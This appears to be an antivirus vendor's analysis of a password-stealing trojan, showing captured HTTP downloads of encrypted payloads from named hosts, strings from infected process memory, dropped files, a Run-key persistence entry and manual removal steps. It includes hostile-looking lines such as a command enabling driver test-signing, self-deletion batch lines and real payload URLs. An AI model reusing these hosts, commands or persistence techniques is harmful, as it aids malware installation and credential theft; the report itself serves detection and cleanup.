Date: Fri, 14 Mar 2014 13:34:08 GMT
Content-Type: text/xml; charset="UTF-8"
Content-Length: 0
Connection: keep-alive
Content-Encoding: UTF-8


GET /header/27UKp.fb2 HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: newdirex.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Fri, 14 Mar 2014 13:35:09 GMT
Server: Apache
Last-Modified: Thu, 27 Feb 2014 12:03:27 GMT
Accept-Ranges: bytes
Content-Length: 469739
Connection: close
Content-Type: text/plain
ZZP......<..J..{N.'....AJ.:.J...S...F......MCa6AJ.[4k...9.7.8.p. ..
.).y.%.7.(.7.?.7.J.7...7.%,s.d...n.....o..j.....5..uCH...(.......M..G.
...i.u.[..@(.......J.E.)..._.G.....K..(B...O...I...K...8..]J.......Z,.
..,..J...H.'.O..{E)......J6.yC..xH..x_*..I.......b.-.J...{......4...a]
.c1/.cyI.fy.._.....B.7.J.9.8.v. ..C....fl..........d/.............7Cl9
.9.e.........J.h6Y.U.J...J...JE.r....J'C.F...n.. >....&S.B(..?.....
P...*a....>........'...V..{[.zJM..F..qM..>K/..?Z.r.m..Im..H..../
...E..>..RJ...N...N...................['k.Z(..J...K(......j..sM/..K
...](..b.......^_I...$9...??..t4S..H(..>.V.H...Z...I........m..>
s.R...9L&...,.q...yKo.>....k...BGyt.%.o.Sv..[...,c....8K,..w....L..
.S.....).\..yn.8N........'V.J...j..Pj...D...JSc..a..3S......J....G.t3&
.yF.s.W&..F...,$.yl...bG.p....G'.T....OH..j.#.l.0...............q.KjP.
h....o..Jk..f=....7......@Ar.k..........B...M...j%N..jI......lb..]..*.
...%.z....J..{.....lc....nC/...o......Y..Y..UG..b...U. ..t.PGr.k......
.......xB.......q-......H.w."...Y!.......D........@........r7..8J'....
..B.,.E....-..h.....@..K...J....Hi?......>....j....U..c..\....^....
k.xI/..J..z...1..3|>.....Ct:l.i...9K<=}....Jxw.i}.sL$.s........H
l.q...z...>...H....J..[N.w../....._N<t...v.^.zYI$~..l.S....*.#.J
.'.`.'.V...{.Sw.H...Hg....S....:...J\g..\g.....:...J...JPg..!.t..%....
,ZSV.`.'....a[.R...H0.<......U...@...Z..t>.......~.3.R.......MP.
.;.. ...YJ...SF..S.&.J...Hm....W.~...z.....4(...z.B...~.K....~..NPB...
..aH<o.....QB.z......A..S.....S...9z...J|'.`t'.......Sw....V...

<<< skipped >>>

GET / HTTP/1.1
Host: VVV.yahoo.com


HTTP/1.1 301 Redirect
Date: Fri, 14 Mar 2014 13:35:14 GMT
Connection: close
Via: HTTP/1.1 ir7.fp.ir2.yahoo.com (YahooTrafficServer/1.20.13 [c s f ])
Server: YTS/1.20.13
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Location: hXXps://VVV.yahoo.com/
Content-Length: 212
<HEAD><TITLE>Redirect</TITLE></HEAD>.<BODY 
BGCOLOR="white" FGCOLOR="black">.<FONT FACE="Helvetica,Arial">
;<B>. "<em>hXXps://VVV.yahoo.com/</em>".<p><
;/B></FONT>..<!-- default "Redirect" response (301) -->
.</BODY>....


GET /wp-content/uploads/2014/02/Test.fb2 HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: elwoodcinemas.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Fri, 14 Mar 2014 13:35:06 GMT
Server: Apache
Last-Modified: Thu, 27 Feb 2014 12:02:10 GMT
Accept-Ranges: bytes
Content-Length: 256674
Connection: close
Content-Type: text/plain
ZZP.J....<..J..{N.'....AJ.:.J...S...F......MCa6AJ.[4k...9.7.8.p. ..
.).y.%.7.(.7.?.7.J.7...7.%,s.d...n......S.r.......Y..J.h..\..H........
m.....{.P......J...N..&.UE.)...A.............4.O...J...K..mJ..../.3.,.
.Z..x.,.xO..vH......iO....R..E...^-..I...J..DN. .N...Jl.....y....].9./
.cyIX).J.......I.7.J.w.8.v. t.....8t...A.....9zC.K.J.=)..Q9K.....g.9.t
9Hn-9v......6Y.W.J...J.(.y.Br./..JSb.......7...?.KSb.JSb.....?...?....
.......J/..J,j.J..r.,.z ..0...c........O...H.............x|..c..Sc.NS.
.K........o..eAv.?...F.R../...D......8q..JD..I.v.....J.".B,..O,...5...
/..Fo.....y>............... .N..[W...F.J.GyJD.'....?.A.........J..G
...r..[9J.,>...rL).9>.....,.j..zw.......Q.6......... .}. ..._...
Pl.x\....L..h...K...I...H.............N.g.F..D5.I...Z)..D.=._.7......,
..J..MC.....j..fD.s....t|"F/..F.......Jl......B...?..8.....,.....|.w..
.E.....y..b....9_.W.....E(..J...*%Z...Z...wr..7z...|Kk..h......XJ}....
..n....'i.....J.R;I.......X..*6N...'..w"W|..s.C..../W...*.....K-......
....K.*j......9..I.{....w#...M..w>..K....MU.......Np4...M-........N
p...1..w..e.5K.w...R.......R....z..e..'.... .K..rDG.r.'i.Z!..qda.K%..F
....T...'...R....I..l7.F.....h.@.w.....}...J'Q.qkd...Q...../U...)..#/i
.J.e..........%i..T..8,Y.....B..?I.......K(.r..DtV.(.......0.....M...M
.......Kn .......$"..6t...sB.-2?U.r?.<;.T..L'G...%.J'[.j)..S.h..ec.
qo..E.......ac.:......$9....H..p.T7.M'.rH.......N...z.b...'.v....d....
....WkK..8j(..@......Hg.'..N.iJ.....~..T.......Xa....r../s..'...3zr.7.
Q'V.:.i.JS.r......O.....E..;........E.......E..X..R..|.zN|.X@lhR6.

<<< skipped >>>

GET / HTTP/1.1
Host: VVV.yahoo.com


HTTP/1.1 301 Redirect
Date: Fri, 14 Mar 2014 13:35:21 GMT
Connection: close
Via: HTTP/1.1 ir10.fp.ch1.yahoo.com (YahooTrafficServer/1.20.13 [c s f ])
Server: YTS/1.20.13
Cache-Control: no-store
Content-Type: text/html
Content-Language: en
Location: hXXps://VVV.yahoo.com/
Content-Length: 212
<HEAD><TITLE>Redirect</TITLE></HEAD>.<BODY 
BGCOLOR="white" FGCOLOR="black">.<FONT FACE="Helvetica,Arial">
;<B>. "<em>hXXps://VVV.yahoo.com/</em>".<p><
;/B></FONT>..<!-- default "Redirect" response (301) -->
.</BODY>....


osuf.exe_604_rwx_010C0000_00006000:

PSSSSSSh
bcdedit.exe -set TESTSIGNING ON
%s\drivers\%s.sys
\\.\NtSecureSys
ntdll.dll
svchost.exe
EUDC\%d
KeDelayExecutionThread
WinExec
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
RegCloseKey
RegFlushKey
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
msvcrt.dll

osuf.exe_604_rwx_010D0000_00001000:

.text
`.data
.idata
@.reloc
PSSSSSSh

osuf.exe_604_rwx_01134000_00003000:

zcÁ
%Documents and Settings%\%current user%\Application Data
%Documents and Settings%\%current user%\Local Settings\Application Data
Global\{6D2DABD3-6C4A-40B1-20F5-810C00E3A21E}

osuf.exe_604_rwx_01750000_0006D000:

.text
`.data
.idata
@.reloc
PSSSSSSh
bcdedit.exe -set TESTSIGNING ON
%s\drivers\%s.sys
\\.\NtSecureSys
ntdll.dll
svchost.exe
EUDC\%d
KeDelayExecutionThread
WinExec
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
RegCloseKey
RegFlushKey
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
msvcrt.dll
Invalid parameter passed to C runtime function.
=65!c
8=6(0?5 &
svp%uec
{zfnmt==.eno
0123456789
`82uURL
`8.sC
G%c_|
.Oex=
".xF=
.Ol (
cxa6.xb
X?(xg.TD
x.Na<\}
xKx.QW
!^!
http://www.google.com/
http://www.bing.com/
HTTP/1.1
REPORT
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
RegDeleteKeyExW
gdiplus.dll
GdiplusShutdown
t.Ht$HHt
w%fkN
L$$
m9.td
zcÁ
GetKeyboardState
MsgWaitForMultipleObjects
CryptGetKeyParam
CryptImportKey
CryptDestroyKey
RegCreateKeyExW
RegQueryInfoKeyW
RegDeleteKeyW
RegOpenKeyExW
RegEnumKeyExW
PathIsURLW
UrlUnescapeA
SHLWAPI.dll
ShellExecuteW
Secur32.dll
ole32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
PFXImportCertStore
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpEndRequestA
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
IPHLPAPI.DLL
VERSION.dll
3'393 7%7
4&4-41484
7#7'7 7/737
8‚8C8O8_8k8s8{8
4%5x5<6
launchpadshell.exe
dirclt32.exe
wtng.exe
prologue.exe
pcsws.exe
fdmaster.exe
urlmon.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s
"%s" %s
/c "%s"
Wadvapi32.dll
kernel32.dll
shell32.dll
\StringFileInfo\xx\%s
cabinet.dll
%Documents and Settings%\%current user%\Application Data
%Documents and Settings%\%current user%\Local Settings\Application Data
Global\{6D2DABD3-6C4A-40B1-20F5-810C00E3A21E}

Explorer.EXE_1212_rwx_02020000_0006D000:

.text
`.data
.idata
@.reloc
PSSSSSSh
bcdedit.exe -set TESTSIGNING ON
%s\drivers\%s.sys
\\.\NtSecureSys
ntdll.dll
svchost.exe
EUDC\%d
KeDelayExecutionThread
WinExec
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
RegCloseKey
RegFlushKey
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
msvcrt.dll
Invalid parameter passed to C runtime function.
=65!c
8=6(0?5 &
svp%uec
{zfnmt==.eno
0123456789
`82uURL
`8.sC
G%c_|
.Oex=
".xF=
.Ol (
cxa6.xb
X?(xg.TD
x.Na<\}
xKx.QW
!^!
http://www.google.com/
http://www.bing.com/
HTTP/1.1
REPORT
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
RegDeleteKeyExW
gdiplus.dll
GdiplusShutdown
t.Ht$HHt
w%fkN
L$$
m9.td
zcÁ
GetKeyboardState
MsgWaitForMultipleObjects
CryptGetKeyParam
CryptImportKey
CryptDestroyKey
RegCreateKeyExW
RegQueryInfoKeyW
RegDeleteKeyW
RegOpenKeyExW
RegEnumKeyExW
PathIsURLW
UrlUnescapeA
SHLWAPI.dll
ShellExecuteW
Secur32.dll
ole32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
PFXImportCertStore
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpEndRequestA
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
IPHLPAPI.DLL
VERSION.dll
3'393 7%7
4&4-41484
7#7'7 7/737
8‚8C8O8_8k8s8{8
4%5x5<6
launchpadshell.exe
dirclt32.exe
wtng.exe
prologue.exe
pcsws.exe
fdmaster.exe
urlmon.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s
"%s" %s
/c "%s"
Wadvapi32.dll
kernel32.dll
shell32.dll
\StringFileInfo\xx\%s
cabinet.dll
%Documents and Settings%\%current user%\Application Data
%Documents and Settings%\%current user%\Local Settings\Application Data
Global\{6D2DABD3-6C4A-40B1-20F5-810C00E3A21E}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    driverquery.exe:2460
    attrib.exe:1416
    tasklist.exe:2360
    dutit.exe:1116
    systeminfo.exe:1756
    makecab.exe:2920
    butit.exe:1304
    opera_autoupdater.exe:304
    reg.exe:2656

  3. Delete the original Trojan-PSW file.
  4. Delete or disinfect the following files created/modified by the Trojan-PSW:

    %Documents and Settings%\%current user%\Local Settings\Temp\_48.tmp (9348 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\OLT8457.bat (176 bytes)
    %Documents and Settings%\%current user%\Application Data\Utfuak\osuf.exe (1138688 bytes)
    %Documents and Settings%\%current user%\NTUSER.DAT (212992 bytes)
    %System%\drivers\1a6c48.sys (63488 bytes)
    %Documents and Settings%\%current user%\NTUSER.DAT.LOG (83456 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab2 (14951 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab3 (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab6 (8 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab4 (14951 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\cab5 (24 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\~49.tmp (15946 bytes)
    %WinDir%\zlib1.dll (59904 bytes)
    %WinDir%\aplib64.dll (12800 bytes)
    %WinDir%\client.dll (227840 bytes)
    %WinDir%\aplib.dll (11264 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\1715578.cmd (108 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\FK4PQQEZ\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SG2624E3\27UKp[1].fb2 (731883 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\dutit.exe (831488 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RTEJ67TP\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\butit.exe (591872 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RTEJ67TP\Test[1].fb2 (256674 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\SG2624E3\desktop.ini (67 bytes)

  5. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "relokmgr" = "rundll32 %WinDir%\client.dll,CreateProcessNotify"

  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  7. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.